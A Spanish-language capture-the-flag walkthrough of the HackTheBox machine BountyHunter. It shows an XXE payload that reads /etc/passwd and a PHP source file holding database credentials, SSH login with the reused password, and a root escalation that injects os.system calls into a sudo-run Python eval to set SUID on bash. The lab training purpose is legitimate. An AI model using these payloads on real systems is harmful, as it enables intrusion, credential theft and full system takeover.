Table of contents
Para comenzar debemos de activar nuestra VPN de HTB, una vez tenemos esto activo, le lanzaremos un ping a la maquina para validar que esta se encuentra activar. Por su TTL ya podemos intuir que es una maquina LINUX
ttl=63
Haremos uso de nuestra herramienta de confianza para hacer escaneos de puertos nmap
, el escaneo se hace inicialmente por TCP
ya que nmap tiene este protocolo por defecto, pero si necesitamos hacer escaneos por UDP simplemente usamos la flag
-sU. Pero en este caso solo hicimos un reconocimiento directamente por TCP evidenciamos el puerto 80 y 22 abierto.
sudo nmap -p- -sS -vvv --open --min-rate 5000 -Pn -n 10.129.95.166 -oG allports
Realizamos un escaneo a las puertos que tiene arriba el host con la flag -sCV
sudo nmap -sCV -p22,80 10.129.95.166 -oN targets
-sCV: Estas opciones son parámetros que configuran el modo de escaneo:
-s: Indica el tipo de escaneo. En este caso, se utiliza -sC, que activa la ejecución de scripts de secuencia de comandos (scripts de Nmap).
-V: Activa la detección de la versión del servicio en los puertos abiertos.
-p22,80: Especifica los puertos a escanear. En este caso, se están escaneando los puertos 22 (SSH) y 80 (HTTP).
10.129.95.166: Es la dirección IP del objetivo que se va a escanear.
-oN targets: Indica que los resultados del escaneo se deben guardar en un archivo llamado "targets". El formato del archivo será el predeterminado (Nmap).
Como podemos evidenciar contamos con el servicio web y el whatweb
nos reporta información por consola sobre lo que tiene este host.
whatweb 10.129.95.166
Ingresamos a la web para realizar reconocimiento.
Al igual que con whatweb
hago un análisis de las tecnologías que tiene corriendo por detras la pagina, en este caso podemos ver la misma información que vimos por consola.
Cuando ingresamos a la web vemos un apartado llamado contact
, al intentar capturar la petición con Burpsuite
este no hace nada.
También podemos validar en la web que hay un apartado llamado portal
, y cuando le damos click
este nos lleva a /portal.php
Damos click
en here
Ingresamos test
en las entradas de usuario y le damos Submit
, pero antes debemos de tener Brupsuite
arriba para hacer la captura de este. Cuando hacemos la captura podemos ver una información que parece codeada, al parecer tiene un urlencode
pero para ello podemos ir al decoder
del Burpsuite
y quitarle el urlencode y luego queda una cadena en base64. Esta cadena tiene contenido en xml
.
Para explotar esta información podemos ir al siguiente link
de Portswigger
:
https://portswigger.net/web-security/xxe
Podemos encontrar una forma de abusar de esto, debemos de cargarle un wrappers
podemos ver que esta declarando una entidad llamada xxe y esta apuntando al /etc/passwd
Debemos de ingresar este wrappers
tal cual nos indica y en uno de los test que vemos como test debemos de ingresar &xxe;
para llamar la variable que hemos declarado. Debemos de pasarlo a base64 y luego lo pegamos en el header data=
y debemos de hacerle un urlencode
entonces podemos seleccionar el payload
de base64 y ingresar crtl + u
y este se nos pondrá urlencodeado
Cuando lo cargamos en data=
podemos evidenciar en el response
el /etc/passwd
de la maquina que estamos atacando.
Podemos ver que hay dos usuarios validos a nivel de sistema que es root
y development
.
ya que tenemos lectura de archivos a nivel de sistema procedemos a hacer uso de dirsearch
para buscar directorios, en este caso la herramienta ya viene cargada con algunas extensiones por ende nos buscara por archivos .php
.
dirsearch -u http://10.129.95.166/
En el escaneo podemos ver /db.php
.
Al capturarlo en Burpsuite
podemos evidenciar que no tenemos mucha información al respecto, pero el archivo db.php
nos suena que tiene datos importantes como contraseñas
.
Para evidenciar lo que esta almacenado en este archivo php
debemos hacer uso de otro wrapper
.
Base64 Encode wrappers en
php://filter/read=convert.base64-encode/resource=index.php
Así nos quedaría el payload en cuestión para validar la data que se encuentra en dicho archivo.
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=db.php"> ]>
<bugreport>
<title>&xxe;</title>
<cwe>test</cwe>
<cvss>test</cvss>
<reward>test</reward>
</bugreport>
Debemos de hacer el mismo ejercicio que hicimos con el payload
anterior.
Una vez hacemos el mismo ejercicio, tenemos una respuesta y es una cadena en base 64, lo cual nos resulta sencillo saber a que hace referencia en nuestro equipo local.
Podemos evidenciar que se trata de credenciales, pero en este caso como ya tenemos dos usuarios, vamos a probar por el puerto 22
que se encuentra abierto (SSH)
.
echo 'PD9waHAKLy8gVE9ETyAtPiBJbXBsZW1lbnQgbG9naW4gc3lzdGVtIHdpdGggdGhlIGRhdGFiYXNlLgokZGJzZXJ2ZXIgPSAibG9jYWxob3N0IjsKJGRibmFtZSA9ICJib3VudHkiOwokZGJ1c2VybmFtZSA9ICJhZG1pbiI7CiRkYnBhc3N3b3JkID0gIm0xOVJvQVUwaFA0MUExc1RzcTZLIjsKJHRlc3R1c2VyID0gInRlc3QiOwo/Pgo=' | base64 -d
<?php
// TODO -> Implement login system with the database.
$dbserver = "localhost";
$dbname = "bounty";
$dbusername = "admin";
$dbpassword = "m19RoAU0hP41A1sTsq6K";
$testuser = "test";
?>
ssh development@10.129.95.166
The authenticity of host '10.129.95.166 (10.129.95.166)' can't be established.
ED25519 key fingerprint is SHA256:p7RCN4B2AtB69d0vE1LTmg0lRRlnsR1fxArJ+KNoNFQ.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.95.166' (ED25519) to the list of known hosts.
development@10.129.95.166's password:
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Sun 04 Feb 2024 04:14:14 AM UTC
System load: 0.0
Usage of /: 23.7% of 6.83GB
Memory usage: 13%
Swap usage: 0%
Processes: 217
Users logged in: 0
IPv4 address for eth0: 10.129.95.166
IPv6 address for eth0: dead:beef::250:56ff:fe96:b246
0 updates can be applied immediately.
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Wed Jul 21 12:04:13 2021 from 10.10.14.8
development@bountyhunter:~$ whoami
development
Tenemos conexión con el usuario development
y capturamos la primera flag
de la maquina.
development@bountyhunter:~$ cat user.txt
37be511675c3d94e76cf1f411b0a8561
Escalada de Privilegios.
Para este punto hacemos uso de sudo -l
para validar los sudoers
validados.
Vemos que podemos ejecutar como root
un archivo llamado ticketValidator.py
sin necesidad de proporcionar credenciales.
sudo -l
Matching Defaults entries for development on bountyhunter:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User development may run the following commands on bountyhunter:
(root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
Ahora bien pasamos a ejecutar
el programa para validar su funcionamiento.
El código
del programa de tickets
es el siguiente:
Realizaremos una revisión del código del script
de Python
para detectar cualquier vulnerabilidades. Notamos una función de evaluación
en él.
validationNumber = eval(x.replace("**", ""))
También examinamos el código del ticket para descubrir cómo lo calcula el script.
if int(ticketCode) % 7 == 4:
Este código verifica que el número del billete es divisible por siete y contiene cuatro restos.
if validationNumber > 100:
Además, esta es una verificación complementaria, y simplemente implica que el número que uno elija también debe ser más que el valor de 100. Es posible crear un ticket y ejecutarlo, pero dado que este archivo lo ejecuta root, podemos verificar en sudoers si es posible descubrir una forma de ejecutarlo.
debemos de crear el /tmp
un archivo con nombre x pero este debe de contener la extensión .md
, en nuestro caso es f.md
.
# Skytrain Inc
## Ticket to Bridgeport
__Ticket Code:__
**32+110+43+ __import__('os').system('id')**
##Issued: 2021/04/06
#End Ticket
Como evidenciamos tenemos ejecución como root
ahora bien, debemos de generar una shell
para capturar la flag
.
Para esto le daremos permisos SUID
a la bash
para que otros usuarios, osea nosotros podamos ejecutar una bash con privilegios altos.
# Skytrain Inc
## Ticket to Bridgeport
__Ticket Code:__
**32+110+43+ __import__('os').system('chmod u+s /bin/bash')**
##Issued: 2021/04/06
#End Ticket
Ejecutamos y evidenciamos en los permisos de la bash
que efectivamente contamos con los permisos SUID
Ahora solo debemos de ingresarle bash -p
para indicar que queremos ejecutar privilegiada.
development@bountyhunter:/tmp$ bash -p
bash-5.0# whoami
root
bash-5.0# cd /root/
bash-5.0# cat root.txt
a94197718e5bf7dd3efa3ee1d8a85792
P̸̮̙̤͉͉͊ͅW̶̡̯͚̺̝͈̣̼̬̹̒͒͒̔̐͆̍̀͘Ṋ̵̛̘̃͛͑̑̂͝Ê̷͍͉̝̜̣̳͑̽̓͛̉͒̾͝D̶̡̰̣̻̐̎͋͐̍͗